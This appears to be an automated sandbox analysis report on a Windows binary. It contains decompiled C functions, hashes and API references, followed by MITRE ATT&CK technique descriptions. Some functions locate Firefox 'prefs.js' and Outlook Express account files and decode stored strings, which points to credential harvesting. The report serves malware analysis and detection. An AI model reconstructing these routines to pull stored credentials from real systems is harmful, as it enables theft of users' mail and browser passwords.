C-Code - Quality: 100%

			E0040B84C(void* __ecx, void* _a4) {
				struct _WNDCLASSA _v44;
				void _v299;
				char _v300;
				void _v555;
				char _v556;
				void* __edi;
				void* __esi;
				struct HINSTANCE__* _t27;
				CHAR* _t32;
				struct HWND__* _t34;
				void* _t36;
				void* _t41;

				_t36 = __ecx;
				_v556 = 0;
				memset( &_v555, 0, 0xff);
				_v300 = 0;
				memset( &_v299, 0, 0xff);
				_t27 =  *0x417b94; // 0x400000
				_t41 = _a4;
				_v44.hInstance = _t27;
				_v44.hIcon =  *((intOrPtr*)(_t41 + 0x104));
				_v44.lpszClassName = _t41 + 4;
				_v44.style = 0;
				_v44.lpfnWndProc = E0040174E;
				_v44.cbClsExtra = 0;
				_v44.cbWndExtra = 0;
				_v44.hCursor = 0;
				_v44.hbrBackground = 0x10;
				_v44.lpszMenuName = 0;
				RegisterClassA( &_v44);
				_t32 = E004019DA(_t36,  &_v300, 0x413450);
				_t34 = CreateWindowExA(0, E004019DA(_t36,  &_v556, 0x414478), _t32, 0xcf0000, 0, 0, 0x280, 0x1e0, 0, 0,  *0x417b94, _t41);
				 *(_a4 + 0x108) = _t34;
				return _t34;
			}

0x0040b84c
0x0040b868
0x0040b86e
0x0040b87c
0x0040b882
0x0040b887
0x0040b88c
0x0040b88f
0x0040b898
0x0040b89e
0x0040b8a8
0x0040b8ab
0x0040b8b2
0x0040b8b5
0x0040b8b8
0x0040b8bb
0x0040b8c2
0x0040b8c5
0x0040b8f0
0x0040b908
0x0040b913
0x0040b91b

APIs

memset.MSVCRT ref: 0040B86E
memset.MSVCRT ref: 0040B882
RegisterClassA.USER32 ref: 0040B8C5

Part of subcall function 004019DA: strncat.MSVCRT ref: 004019FA

CreateWindowExA.USER32 ref: 0040B908

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: memset$ClassCreateRegisterWindowstrncat
String ID:
API String ID: 3664037073-0
Opcode ID: be5346cb48c8cedca28fb9c953b908c4a3ca165af802d2e293ff076a17b9cc61
Instruction ID: a433a9f07fbe34a5cd63bc5fe357f5218a2175739f92369553503b68093de8d1
Opcode Fuzzy Hash: be5346cb48c8cedca28fb9c953b908c4a3ca165af802d2e293ff076a17b9cc61
Instruction Fuzzy Hash: F1211FB5C01218AFDB50DF95DD85ADFBBBCEB08354F0040BAE549B3251C778AE848BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004070D9, Relevance: 6.1, APIs: 4, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E004070D9(void** __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _t21;
				signed int _t23;
				void* _t24;
				signed int _t31;
				void* _t33;
				void* _t44;
				signed int _t46;
				void* _t48;
				signed int _t51;
				int _t52;
				void** _t53;
				void* _t58;

				_t53 = __esi;
				_t1 =  &(_t53[1]); // 0x0
				_t51 =  *_t1;
				_t21 = 0;
				if(_t51 <= 0) {
					L4:
					_t2 =  &(_t53[2]); // 0x8
					_t33 =  *_t53;
					_t23 =  *_t2 + _t51;
					_t46 = 8;
					_t53[1] = _t23;
					_t24 = _t23 * _t46;
					_push( ~(0 | _t58 > 0x00000000) | _t24);
					L00412090();
					_t10 =  &(_t53[1]); // 0x0
					 *_t53 = _t24;
					memset(_t24, 0,  *_t10 << 3);
					_t52 = _t51 << 3;
					memcpy( *_t53, _t33, _t52);
					if(_t33 != 0) {
						_push(_t33);
						L00412096();
					}
					 *((intOrPtr*)( *_t53 + _t52)) = _a4;
					 *((intOrPtr*)(_t52 +  *_t53 + 4)) = _a8;
				} else {
					_t44 =  *__esi;
					_t48 = _t44;
					while( *_t48 != 0) {
						_t21 = _t21 + 1;
						_t48 = _t48 + 8;
						_t58 = _t21 - _t51;
						if(_t58 < 0) {
							continue;
						} else {
							goto L4;
						}
						goto L7;
					}
					_t31 = _t21 << 3;
					 *((intOrPtr*)(_t44 + _t31)) = _a4;
					 *((intOrPtr*)(_t31 +  *_t53 + 4)) = _a8;
				}
				L7:
				return 1;
			}

0x004070d9
0x004070da
0x004070da
0x004070dd
0x004070e1
0x004070f4
0x004070f4
0x004070f8
0x004070fa
0x00407100
0x00407101
0x00407104
0x0040710d
0x0040710e
0x00407113
0x0040711d
0x0040711f
0x00407124
0x0040712b
0x00407135
0x00407137
0x00407138
0x0040713d
0x00407144
0x0040714d
0x004070e3
0x004070e3
0x004070e5
0x004070e7
0x004070ec
0x004070ed
0x004070f0
0x004070f2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004070f2
0x0040715d
0x00407160
0x00407169
0x00407169
0x00407152
0x00407156

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040710E
memset.MSVCRT ref: 0040711F
memcpy.MSVCRT ref: 0040712B
??3@YAXPAX@Z.MSVCRT ref: 00407138

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: ??2@??3@memcpymemset
String ID:
API String ID: 1865533344-0
Opcode ID: e4c1b742036f6387abe750b9dffb2ef64d195688e0a077fc4da9177e63e0e53c
Instruction ID: 17b98b22fb48c4f462205fa6a58e9a56533f9d3233289d57114c66ebe089a08a
Opcode Fuzzy Hash: e4c1b742036f6387abe750b9dffb2ef64d195688e0a077fc4da9177e63e0e53c
Instruction Fuzzy Hash: A6113D716046019FD328DF2DC981A27F7E6FF98304B20892EE59AC7385DA75E841CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00411C05, Relevance: 6.0, APIs: 4, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00411C05(void* __edi, void* __esi, void* __eflags, intOrPtr _a4, void* _a8) {
				void* _t10;
				void* _t13;
				char* _t15;
				void* _t21;
				void* _t24;
				long _t27;

				_t10 = E00405ED5(_a8);
				_pop(_t21);
				_a8 = _t10;
				if(_t10 == 0xffffffff) {
					return 0;
				}
				_t27 = GetFileSize(_t10, 0);
				_t3 = _t27 + 5; // 0x5
				_t13 = _t3;
				_push(_t13);
				L00412090();
				_t24 = _t13;
				E00406725(_t21, _a8, _t24, _t27);
				_t15 = _t24 + _t27;
				 *_t15 = 0;
				 *((char*)(_t15 + 1)) = 0;
				 *((char*)(_t15 + 2)) = 0;
				E00411C76(_a4, _t24);
				CloseHandle(_a8);
				if(_t24 != 0) {
					_push(_t24);
					L00412096();
				}
				return 1;
			}

0x00411c0b
0x00411c13
0x00411c14
0x00411c17
0x00000000
0x00411c70
0x00411c24
0x00411c26
0x00411c26
0x00411c29
0x00411c2a
0x00411c2f
0x00411c36
0x00411c3b
0x00411c41
0x00411c44
0x00411c48
0x00411c50
0x00411c58
0x00411c60
0x00411c62
0x00411c63
0x00411c68
0x00000000

APIs

Part of subcall function 00405ED5: CreateFileA.KERNEL32(0041133F,80000000,00000001,00000000,00000003,00000000,00000000,0041127B,0041141B,?,0041133F,?,?,*.oeaccount,0041141B,?), ref: 00405EE7

GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040D064,00000000,0040D972,?,?,00000104,00000000,?,0040D972,?,00000000), ref: 00411C1E
??2@YAPAXI@Z.MSVCRT ref: 00411C2A

Part of subcall function 00406725: ReadFile.KERNEL32(?,0041141B,?,00000000,00000000,?,?,004112BE,0041141B,00000000,-00000002,?,0041133F,?,?,*.oeaccount), ref: 0040673C

CloseHandle.KERNEL32(0040D972,00000000,?,0040D972,?,00000000,?,?,?,?,?,?), ref: 00411C58
??3@YAXPAX@Z.MSVCRT ref: 00411C63

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: File$??2@??3@CloseCreateHandleReadSize
String ID:
API String ID: 1968906679-0
Opcode ID: 33877706b5d6ce5a60bd243af652b3227341b80957e1355f9b7c322417ce527a
Instruction ID: 7eee50cd159b1862f9f77aaf36d5f43b0d65e01e2e9cd2c6863135ac6fea6ec1
Opcode Fuzzy Hash: 33877706b5d6ce5a60bd243af652b3227341b80957e1355f9b7c322417ce527a
Instruction Fuzzy Hash: 7801A231004104AAD711AF35DC09FDB3FA99F46374F15C12AF5188B2A1EB7A8650C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 004021E0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004021E0(void* __ecx, intOrPtr _a4, char* _a8) {
				void* __ebx;
				intOrPtr _t22;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t32;
				void* _t36;
				signed short _t42;
				char* _t47;
				void* _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				void* _t57;

				_t22 = _a4;
				_t57 = _t22 - 6;
				_t47 = _a8;
				_t48 = __ecx;
				 *_t47 = 0;
				if(_t57 > 0) {
					_t23 = _t22 - 7;
					if(_t23 == 0) {
						return __ecx + 0x214;
					}
					_t25 = _t23 - 1;
					if(_t25 == 0) {
						return __ecx + 0x294;
					}
					_t27 = _t25 - 1;
					if(_t27 == 0) {
						return __ecx + 0x314;
					}
					_t29 = _t27 - 1;
					if(_t29 == 0) {
						_t49 =  *((intOrPtr*)(__ecx + 0x3a0));
						if(_t49 < 1 || _t49 > 7) {
							if(_t49 < 8 || _t49 > 0xe) {
								if(_t49 < 0xf || _t49 > 0x19) {
									if(_t49 < 0x1a || _t49 > 0x2d) {
										if(_t49 < 0x2e) {
											L16:
											return _t47;
										}
										_t42 = 0x519;
									} else {
										_t42 = 0x518;
									}
								} else {
									_t42 = 0x517;
								}
							} else {
								_t42 = 0x516;
							}
							goto L20;
						} else {
							_t42 = 0x515;
							L20:
							return E00407A69(_t42);
						}
					}
					_t32 = _t29 - 1;
					if(_t32 == 0) {
						return __ecx + 0x190;
					}
					if(_t32 != 1) {
						goto L16;
					}
					_t50 =  *((intOrPtr*)(__ecx + 0x39c));
					L14:
					if(_t50 != 0) {
						_push(0xa);
						_push(_t47);
						_push(_t50);
						L0041203C();
					}
					goto L16;
				}
				if(_t57 == 0) {
					_t42 =  *((intOrPtr*)(__ecx + 0x210)) + 0x320;
					goto L20;
				}
				if(_t22 == 0xfffffff6) {
					_t36 = E00407A69( *((intOrPtr*)(__ecx + 0x8c)) + 0x384);
					sprintf(_t47, "%s  %s  %s", E00407A69( *((intOrPtr*)(_t48 + 0x210)) + 0x320), _t48 + 0x110, _t36);
					goto L16;
				}
				if(_t22 == 0) {
					return __ecx + 0xc;
				}
				if(_t22 == 1) {
					_t42 =  *((intOrPtr*)(__ecx + 0x8c)) + 0x384;
					goto L20;
				}
				if(_t22 == 2) {
					return __ecx + 0x90;
				}
				if(_t22 == 3) {
					return __ecx + 0x110;
				}
				if(_t22 == 4) {
					_t50 =  *((intOrPtr*)(__ecx + 0x394));
					goto L14;
				}
				if(_t22 != 5) {
					goto L16;
				}
				if( *((intOrPtr*)(__ecx + 0x398)) == 0) {
					_push(0x10);
				} else {
					_push(0xf);
				}
				_pop(_t42);
				goto L20;
			}

0x004021e0
0x004021e4
0x004021ea
0x004021ee
0x004021f0
0x004021f3
0x004022d1
0x004022d4
0x00000000
0x00402381
0x004022da
0x004022db
0x00000000
0x00402379
0x004022e1
0x004022e2
0x00000000
0x00402371
0x004022e8
0x004022e9
0x00402308
0x00402311
0x00402325
0x00402339
0x0040234d
0x00402361
0x0040224d
0x00000000
0x0040224d
0x00402367
0x00402354
0x00402354
0x00402354
0x00402340
0x00402340
0x00402340
0x0040232c
0x0040232c
0x0040232c
0x00000000
0x00402318
0x00402318
0x00402276
0x00000000
0x00402276
0x00402311
0x004022eb
0x004022ec
0x00000000
0x00402300
0x004022ef
0x00000000
0x00000000
0x004022f5
0x0040223d
0x0040223f
0x00402241
0x00402243
0x00402244
0x00402245
0x0040224a
0x00000000
0x0040223f
0x004021f9
0x004022c9
0x00000000
0x004022c9
0x00402202
0x00402294
0x004022b9
0x00000000
0x004022be
0x0040220a
0x00000000
0x00402280
0x0040220f
0x00402270
0x00000000
0x00402270
0x00402214
0x00000000
0x0040225f
0x00402219
0x00000000
0x00402254
0x0040221e
0x00402237
0x00000000
0x00402237
0x00402223
0x00000000
0x00000000
0x0040222c
0x00402233
0x0040222e
0x0040222e
0x0040222e
0x00402230
0x00000000

APIs

_ultoa.MSVCRT ref: 00402245
sprintf.MSVCRT ref: 004022B9

Strings

%s %s %s, xrefs: 004022B3

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _ultoasprintf
String ID: %s %s %s
API String ID: 432394123-3850900253
Opcode ID: ad10a0a60f11ae5ad813c548426d3cbfbdd2c873bbe0414cf6ac4599a9575019
Instruction ID: 4550bc8a79151648f87db51bd02682248f93ba3dc48fc4e36bbc9480066499b4
Opcode Fuzzy Hash: ad10a0a60f11ae5ad813c548426d3cbfbdd2c873bbe0414cf6ac4599a9575019
Instruction Fuzzy Hash: F741F731904B16C7CA34956487CCBEBA298E702304F6504BFDC5AF72D0D2FCAE46866B

Uniqueness

Uniqueness Score: -1.00%

Function 0040851B, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040851B(intOrPtr* __esi, struct HWND__* _a4) {
				long _v12;
				int _v16;
				int _v20;
				int _v28;
				signed int _v32;
				int _v36;
				void* _v40;
				long _t16;
				intOrPtr _t22;
				void* _t24;
				signed int _t25;
				void* _t26;
				int _t27;
				intOrPtr* _t28;

				_t28 = __esi;
				if(_a4 == 0) {
					L12:
					return _t16;
				}
				_t22 =  *((intOrPtr*)(__esi + 4));
				_t26 = 0;
				_t24 = 0;
				if(_t22 <= 0) {
					L6:
					_t27 = 0;
					if(_t22 <= 0) {
						goto L12;
					} else {
						goto L7;
					}
					do {
						L7:
						_t16 =  *_t28 + _t27 * 4;
						_t25 =  *_t16 & 0x0000ffff;
						if(_t25 >= 0 && _t25 < 0x7d0) {
							_t16 =  *((short*)(_t16 + 2));
							if(_t16 < _t22) {
								_v12 = _t16;
								_v40 = 0x22;
								_v32 = _t25;
								_v36 = 0;
								_v28 = 0;
								_v20 = 0;
								_v16 = 0;
								_t16 = SendMessageA(_a4, 0x101a, _t27,  &_v40);
							}
						}
						_t22 =  *((intOrPtr*)(_t28 + 4));
						_t27 = _t27 + 1;
					} while (_t27 < _t22);
					goto L12;
				}
				_t16 =  *__esi + 2;
				do {
					if( *_t16 != 0) {
						goto L5;
					}
					_t26 = _t26 + 1;
					if(_t26 >= 2) {
						goto L12;
					}
					L5:
					_t24 = _t24 + 1;
					_t16 = _t16 + 4;
				} while (_t24 < _t22);
				goto L6;
			}

0x0040851b
0x00408528
0x004085a8
0x004085a8
0x004085a8
0x0040852a
0x0040852d
0x0040852f
0x00408533
0x0040854c
0x0040854c
0x00408550
0x00000000
0x00000000
0x00000000
0x00000000
0x00408552
0x00408552
0x00408554
0x00408557
0x0040855d
0x00408566
0x0040856c
0x0040856e
0x00408581
0x00408588
0x0040858b
0x0040858e
0x00408591
0x00408594
0x00408597
0x00408597
0x0040856c
0x0040859d
0x004085a0
0x004085a1
0x00000000
0x00408552
0x00408538
0x00408539
0x0040853c
0x00000000
0x00000000
0x0040853e
0x00408542
0x00000000
0x00000000
0x00408544
0x00408544
0x00408545
0x00408548
0x00000000

APIs

SendMessageA.USER32 ref: 00408597

Strings

\LA, xrefs: 00408527
", xrefs: 00408581

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: MessageSend
String ID: "$\LA
API String ID: 3850602802-1791104459
Opcode ID: 6730269ec323a4575099126faff27654677e2dead0fd5bf6d10708e601ad3506
Instruction ID: ec77e5a748e9a6ff816ea2aa2a284b6bdb41b89871e7a2a93e67b2087f5a6bee
Opcode Fuzzy Hash: 6730269ec323a4575099126faff27654677e2dead0fd5bf6d10708e601ad3506
Instruction Fuzzy Hash: 52115171A00115AEDB149F9ACEC04BEB7F5FB98305B50843FD1D6E7680DB789982CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040D9D8, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040D9D8(intOrPtr* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				char _v328;
				char _v652;
				char _v928;
				char _v1296;
				signed int _v1300;
				void* __esi;
				char* _t26;
				void* _t42;
				intOrPtr* _t44;

				_t42 = __edx;
				_v1300 = _v1300 | 0xffffffff;
				_v1296 = 0;
				_v328 = 0;
				_v652 = 0;
				_t44 = __ecx;
				E00406FD2( &_v1300, __eflags, "*.*", _a4);
				while(E0040702D( &_v1300) != 0) {
					__eflags = E00406F97( &_v1300);
					if(__eflags == 0) {
						__eflags = _a8 - 1;
						if(_a8 > 1) {
							_t26 =  &_v928;
							_push("prefs.js");
							_push(_t26);
							L00412072();
							__eflags = _t26;
							if(_t26 == 0) {
								__eflags = E00406155( &_v652);
								if(__eflags != 0) {
									E0040D7C1(_t44, _t42, __eflags,  &_v652);
								}
							}
						}
					} else {
						_a8 = _a8 + 1;
						E0040D9D8(_t44, _t42, __eflags,  &_v652, _a8);
					}
				}
				E004070C5( &_v1300);
				return 1;
			}

0x0040d9d8
0x0040d9e4
0x0040d9ef
0x0040d9f3
0x0040d9fa
0x0040da0a
0x0040da0c
0x0040da76
0x0040da1c
0x0040da1e
0x0040da37
0x0040da3b
0x0040da3d
0x0040da44
0x0040da49
0x0040da4a
0x0040da4f
0x0040da53
0x0040da62
0x0040da65
0x0040da71
0x0040da71
0x0040da65
0x0040da53
0x0040da20
0x0040da20
0x0040da30
0x0040da30
0x0040da1e
0x0040da87
0x0040da93

Strings

prefs.js, xrefs: 0040DA44
*.*, xrefs: 0040DA01

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: strlen$FileFindFirst
String ID: *.*$prefs.js
API String ID: 2516927864-1592826420
Opcode ID: 6a000196e6438ec39e637ca0eb5d4ae5762e5a1622c1bb359a3e97ee416ced3e
Instruction ID: 0a1894bf97bc7f37e7ea977f35cd1e9cdc16bb9bd7797736beedadfbd1967f85
Opcode Fuzzy Hash: 6a000196e6438ec39e637ca0eb5d4ae5762e5a1622c1bb359a3e97ee416ced3e
Instruction Fuzzy Hash: 1811947250C3465ED720EAA58C01ADB7BD89F55314F14863FF898E21C2D738D61DCB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00407D23, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32 ref: 00407D2B
sprintf.MSVCRT ref: 00407D4E

Part of subcall function 00407BCE: GetMenuItemCount.USER32 ref: 00407BE4
Part of subcall function 00407BCE: memset.MSVCRT ref: 00407C08
Part of subcall function 00407BCE: GetMenuItemInfoA.USER32 ref: 00407C3E
Part of subcall function 00407BCE: memset.MSVCRT ref: 00407C6B
Part of subcall function 00407BCE: strchr.MSVCRT ref: 00407C77
Part of subcall function 00407BCE: strcat.MSVCRT(?,?,?,?,?,00000001,?), ref: 00407CD2
Part of subcall function 00407BCE: ModifyMenuA.USER32(?,?,00000400,?,?), ref: 00407CEE

Strings

menu_%d, xrefs: 00407D44

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Menu$Itemmemset$CountInfoLoadModifysprintfstrcatstrchr
String ID: menu_%d
API String ID: 3671758413-2417748251
Opcode ID: 49ac11d1195a608e742f3e6ca3ff2f5e26bbcd1b47ce44f2e641ce1c3c472826
Instruction ID: 2770b7a066d609e077f5412e4a2b93c9a9718e974603bd13de201155b170d4e3
Opcode Fuzzy Hash: 49ac11d1195a608e742f3e6ca3ff2f5e26bbcd1b47ce44f2e641ce1c3c472826
Instruction Fuzzy Hash: 25D0C271A4911036CB2133366C0AFDB3C288BD2719F28406EF000650C1CABCA182827E

Uniqueness

Uniqueness Score: -1.00%

Function 004084B2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004084B2(char* __esi) {
				char* _t2;
				char* _t6;

				_t6 = __esi;
				E0040616A(__esi);
				_t2 = strrchr(__esi, 0x2e);
				if(_t2 != 0) {
					 *_t2 = 0;
				}
				return strcat(_t6, "_lng.ini");
			}

0x004084b2
0x004084b3
0x004084bb
0x004084c5
0x004084c7
0x004084c7
0x004084d7

APIs

Part of subcall function 0040616A: GetModuleFileNameA.KERNEL32(00000000,00000104,00000104,004084B8,00000000,004083D6,?,00000000,00000104,?), ref: 00406175

strrchr.MSVCRT ref: 004084BB
strcat.MSVCRT(00000000,_lng.ini,00000000,00000104,?), ref: 004084D0

Strings

_lng.ini, xrefs: 004084CA

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: FileModuleNamestrcatstrrchr
String ID: _lng.ini
API String ID: 3097366151-1948609170
Opcode ID: 2d253c9011988194c7ab29affedf6fb1a5ea8153034ac82cdf8f1fb697810a88
Instruction ID: 42c27a01d44ad3a484ea9941e8a753782f6a4a1a49f0a0828630b4f1254f47e7
Opcode Fuzzy Hash: 2d253c9011988194c7ab29affedf6fb1a5ea8153034ac82cdf8f1fb697810a88
Instruction Fuzzy Hash: 98C0126924565024D12621215E03B8A09494F26319F24416BF501781C3EE9C46E1806E

Uniqueness

Uniqueness Score: -1.00%

Function 00407570, Relevance: 5.1, APIs: 4, Instructions: 104
stringCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00407570(char* __eax, intOrPtr* _a4, intOrPtr _a8) {
				signed int _v8;
				int _v12;
				char* _v16;
				char _v20;
				signed int* _v24;
				char _v28;
				void _v284;
				char _v540;
				char _v1068;
				void _v3115;
				char _v3116;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t36;
				signed int _t40;
				signed int* _t61;
				char _t69;
				char* _t74;
				char* _t75;
				intOrPtr* _t76;
				signed int _t78;
				int _t80;
				void* _t83;
				void* _t84;
				signed int _t89;

				_t74 = __eax;
				_t35 = strlen(__eax);
				_t78 = _t35;
				_t36 = _t35 & 0x80000001;
				if(_t36 < 0) {
					_t36 = (_t36 - 0x00000001 | 0xfffffffe) + 1;
					_t89 = _t36;
				}
				if(_t89 != 0 || _t78 <= 0x20) {
					return _t36;
				} else {
					_v3116 = 0;
					memset( &_v3115, 0, 0x7ff);
					_v8 = _v8 & 0x00000000;
					_t61 = _a4 + 4;
					_t40 =  *_t61 | 0x00000001;
					if(_t78 <= 4) {
						L7:
						_t79 =  &_v1068;
						E004046E1( &_v1068);
						if(E004047AA( &_v1068, _t93) != 0) {
							_v20 = _v8;
							_v16 =  &_v3116;
							_v28 = 0x10;
							_v24 = _t61;
							if(E0040481B(_t79,  &_v20,  &_v28,  &_v12) != 0) {
								_t80 = _v12;
								if(_t80 > 0xff) {
									_t80 = 0xff;
								}
								_v540 = 0;
								_v284 = 0;
								memcpy( &_v284, _v8, _t80);
								_t75 =  &_v540;
								 *((char*)(_t84 + _t80 - 0x118)) = 0;
								E004060DA(0xff, _t75, _a8);
								 *((intOrPtr*)( *_a4))(_t75);
								LocalFree(_v8);
							}
						}
						return E004047FB( &_v1068);
					}
					_t76 = _t74 + 5;
					_t83 = (_t78 + 0xfffffffb >> 1) + 1;
					do {
						_t69 = ( *((intOrPtr*)(_t76 - 1)) - 0x00000001 << 0x00000004 |  *_t76 - 0x00000021) - _t40;
						_t40 = _t40 * 0x10ff5;
						_t76 = _t76 + 2;
						_v8 = _v8 + 1;
						_t83 = _t83 - 1;
						_t93 = _t83;
						 *((char*)(_t84 + _v8 - 0xc28)) = _t69;
					} while (_t83 != 0);
					goto L7;
				}
			}

0x0040757c
0x0040757f
0x00407584
0x00407586
0x0040758c
0x00407592
0x00407592
0x00407592
0x00407593
0x004076b4
0x004075a2
0x004075b0
0x004075b7
0x004075bf
0x004075c3
0x004075cb
0x004075d1
0x00407605
0x00407605
0x0040760b
0x00407617
0x00407620
0x00407629
0x0040763a
0x00407641
0x0040764b
0x0040764d
0x00407657
0x00407659
0x00407659
0x00407666
0x0040766d
0x00407674
0x0040767c
0x00407682
0x0040768a
0x0040769a
0x0040769f
0x0040769f
0x0040764b
0x00000000
0x004076ab
0x004075d8
0x004075db
0x004075dc
0x004075ee
0x004075f0
0x004075f7
0x004075f8
0x004075fb
0x004075fb
0x004075fc
0x004075fc
0x00000000
0x004075dc

APIs

strlen.MSVCRT ref: 0040757F
memset.MSVCRT ref: 004075B7
memcpy.MSVCRT ref: 00407674
LocalFree.KERNEL32(00000000,?,?,?,?,7554ED80,?,00000000), ref: 0040769F

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: FreeLocalmemcpymemsetstrlen
String ID:
API String ID: 3110682361-0
Opcode ID: 4a01b5491f9ecde230b25e47fc41df6e3a48aedd09d870957f2f4d0e5019b56d
Instruction ID: a7b320da169f7f969887caa54c031871a44602910a4795043d90d4c59a740d9e
Opcode Fuzzy Hash: 4a01b5491f9ecde230b25e47fc41df6e3a48aedd09d870957f2f4d0e5019b56d
Instruction Fuzzy Hash: B0312972D0011D9BDB10DB68CC81BDEBBB8EF45318F1006B6E545B3281DA79AE858B95

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

